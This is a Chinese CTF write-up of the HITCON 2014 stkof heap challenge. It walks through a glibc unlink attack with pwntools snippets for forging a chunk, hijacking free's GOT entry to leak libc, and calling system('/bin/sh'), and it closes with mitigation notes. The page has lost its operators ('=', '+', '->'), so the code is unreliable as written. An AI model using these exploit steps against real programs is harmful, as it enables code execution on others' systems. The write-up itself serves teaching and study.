从HITCON 2014 stkof这道经典堆题,聊聊unlink攻击的实战利用与GOT表劫持

张开发
2026/4/20 16:46:53 15 分钟阅读

分享文章

从HITCON 2014 stkof这道经典堆题,聊聊unlink攻击的实战利用与GOT表劫持
从HITCON 2014 stkof看unlink攻击的艺术堆漏洞利用的进阶指南在CTF竞赛和二进制安全研究中堆漏洞利用一直是技术含量最高的领域之一。2014年HITCON CTF中的stkof题目以其精巧的设计和典型的unlink攻击场景成为了堆利用学习的经典案例。这道题不仅考察了基础的堆溢出漏洞更通过unlink机制与GOT表劫持的结合展现了一个完整的攻击链条。1. 环境搭建与初步分析在开始漏洞利用之前我们需要先搭建一个合适的分析环境。推荐使用Ubuntu 16.04或18.04系统配合pwndbg插件增强的GDB调试器。题目文件stkof是一个64位ELF可执行文件我们可以用checksec工具查看其安全保护机制$ checksec stkof [*] /path/to/stkof Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)从保护机制来看有几个关键点值得注意Partial RELRO这意味着我们可以修改GOT表中的函数地址No PIE程序的代码段和全局变量地址是固定的便于我们计算偏移NX enabled栈不可执行排除了shellcode注入的可能性程序的主要功能非常简单提供了三个基本操作allocate分配指定大小的堆块返回一个索引号fill根据索引号填充堆块内容可以指定任意大小free释放指定索引号的堆块漏洞点出现在fill功能中——它允许我们指定任意大小的输入而不检查是否超过了原始分配的大小这导致了经典的堆溢出漏洞。2. 堆布局与unlink攻击原理在开始利用之前我们需要先理解unlink攻击的基本原理。unlink是glibc堆管理器中的一个内部操作当两个相邻的空闲chunk需要合并时会被触发。攻击者通过伪造chunk元数据可以诱使堆管理器执行非预期的内存写操作。2.1 堆块结构基础在glibc的堆实现中每个chunk都有如下的基本结构struct malloc_chunk { size_t prev_size; /* 前一个chunk的大小如果前一个chunk空闲 */ size_t size; /* 当前chunk的大小和标志位 */ struct malloc_chunk* fd; /* 仅空闲chunk有效指向双向链表中的下一个chunk */ struct malloc_chunk* bk; /* 仅空闲chunk有效指向双向链表中的前一个chunk */ };关键点在于当chunk空闲时它会加入到一个双向链表中通过fd和bk指针连接。unlink操作本质上是从这个链表中移除一个chunk的过程。2.2 unlink宏的原始实现glibc中unlink宏的简化版逻辑如下#define unlink(P, BK, FD) { FD P-fd; BK P-bk; FD-bk BK; BK-fd FD; }这个看似简单的链表操作在攻击者能够控制P的fd和bk指针时可以变成强大的武器。通过精心构造fd和bk我们可以实现任意地址写。2.3 攻击条件与利用思路要成功实施unlink攻击需要满足以下几个条件能够溢出到相邻chunk的头部修改其size和prev_size字段能够伪造一个空闲chunk的fd和bk指针存在一个全局指针数组可以用来实现进一步的利用在stkof题目中这三个条件都完美满足fill功能的堆溢出允许我们修改相邻chunk的元数据程序使用全局数组0x602140来存储堆块指针Partial RELRO允许我们修改GOT表3. 漏洞利用实战步骤现在让我们一步步拆解完整的利用过程。为了清晰起见我们将整个过程分为几个关键阶段。3.1 初始堆布局首先我们需要分配几个chunk来构造合适的堆布局alloc(0x30) # chunk 1 alloc(0x30) # chunk 2 alloc(0x80) # chunk 3 alloc(0x30) # chunk 4这样布局的目的是chunk 1和2作为操作的目标chunk 3足够大避免被放入fastbinchunk 4保留到最后存放/bin/sh字符串3.2 构造伪造的chunkunlink攻击的核心在于伪造一个看似合法的空闲chunk。我们需要在chunk 2中构造这样的结构target 0x602140 0x10 # 全局数组中的chunk1指针地址 fd target - 0x18 bk target - 0x10 payload p64(0) p64(0x30) # prev_size和size payload p64(fd) p64(bk) # 伪造的fd和bk payload bA*0x10 # 填充 payload p64(0x30) p64(0x90) # 设置下一个chunk的prev_size和size fill(2, payload)这段代码构造了一个看似被释放的chunk其关键点在于size字段设置为0x30与分配大小一致fd和bk指向精心计算的位置以实现对全局数组的修改同时设置了下一个chunk的prev_size为0x30使其认为前一个chunk是空闲的3.3 触发unlink操作通过释放chunk 3我们可以触发unlink操作free(3)此时堆管理器会检查chunk 3的前一个chunk我们伪造的那个是否空闲。由于我们设置了合适的标志位堆管理器会尝试合并这两个chunk从而触发unlink操作。unlink操作执行后全局数组中的chunk1指针会被修改为target-0x18这给了我们一个写全局数组的原语。3.4 劫持GOT表有了修改全局数组的能力后我们可以将chunk指针改为GOT表地址payload bA*0x10 payload p64(free_got) p64(puts_got) fill(2, payload)现在chunk1和chunk2的指针分别指向free和puts的GOT表项。这意味着修改chunk1的内容相当于修改free的GOT表项修改chunk2的内容相当于修改puts的GOT表项3.5 泄露libc地址接下来我们可以利用这个能力来泄露libc的基地址payload p64(puts_plt) fill(1, payload) # 将freegot改为putsplt free(2) # 实际调用puts(putsgot)这样操作的效果是调用free(2)实际上会调用puts(putsgot)程序会输出puts函数在内存中的实际地址我们可以根据这个地址计算libc的基址接收泄露的地址并计算libc基址puts_addr u64(p.recvuntil(\x7f)[-6:].ljust(8, b\x00)) libc_base puts_addr - libc.sym[puts] system_addr libc_base libc.sym[system]3.6 获取shell最后一步是将freegot改为system并在一个chunk中放入/bin/shpayload p64(system_addr) fill(1, payload) # 将freegot改为system fill(4, b/bin/sh\x00) # 在chunk4中放入/bin/sh free(4) # 实际调用system(/bin/sh)至此我们成功获取了一个shell完成了整个利用过程。4. 防御与缓解措施理解了攻击原理后我们也能更好地理解现代堆保护机制的设计初衷。针对unlink攻击现代系统已经采取了一系列防御措施4.1 glibc中的unlink加固新版本的glibc对unlink操作增加了更严格的检查#define unlink(AV, P, BK, FD) { FD P-fd; BK P-bk; if (__builtin_expect (FD-bk ! P || BK-fd ! P, 0)) malloc_printerr (corrupted double-linked list); else { FD-bk BK; BK-fd FD; } }这种检查使得传统的unlink攻击难以成功因为攻击者需要确保伪造的fd和bk指针能够互相指向。4.2 其他防护建议除了glibc的改进外开发者还可以采取以下措施启用Full RELRO这会使得GOT表变为只读防止GOT劫持使用堆栈保护如ASLR、PIE等技术增加地址随机化严格的边界检查对所有堆操作进行严格的边界检查使用现代内存分配器如jemalloc或tcmalloc5. 扩展思考与进阶技巧unlink攻击虽然经典但在现代环境中直接应用的机会已经不多。不过理解其原理对于掌握更复杂的堆利用技术至关重要。以下是一些进阶思考方向5.1 其他堆利用技术Fastbin Attack针对fastbin的特殊利用技术Tcache Poisoningglibc 2.26引入的线程缓存机制带来的新攻击面House of系列各种高级堆利用技术的集合5.2 自动化利用工具虽然手动构造利用很有教育意义但在实际比赛中我们也可以借助一些工具提高效率# 使用pwntools的DynELF模块处理未知libc的情况 d DynELF(leak, elfELF(./stkof)) system_addr d.lookup(system, libc)5.3 漏洞利用的可靠性提升在实际漏洞利用中我们需要考虑各种边界情况堆布局的稳定性多线程环境下的竞争条件不同libc版本间的差异失败情况下的恢复机制stkof这道题目虽然年代久远但它精妙地展示了堆漏洞利用的核心思想。通过这个案例我们不仅学习了一种具体的攻击技术更重要的是理解了如何系统性地分析、设计和实现一个完整的漏洞利用链。这种思维方式对于二进制安全研究来说才是真正宝贵的财富。

更多文章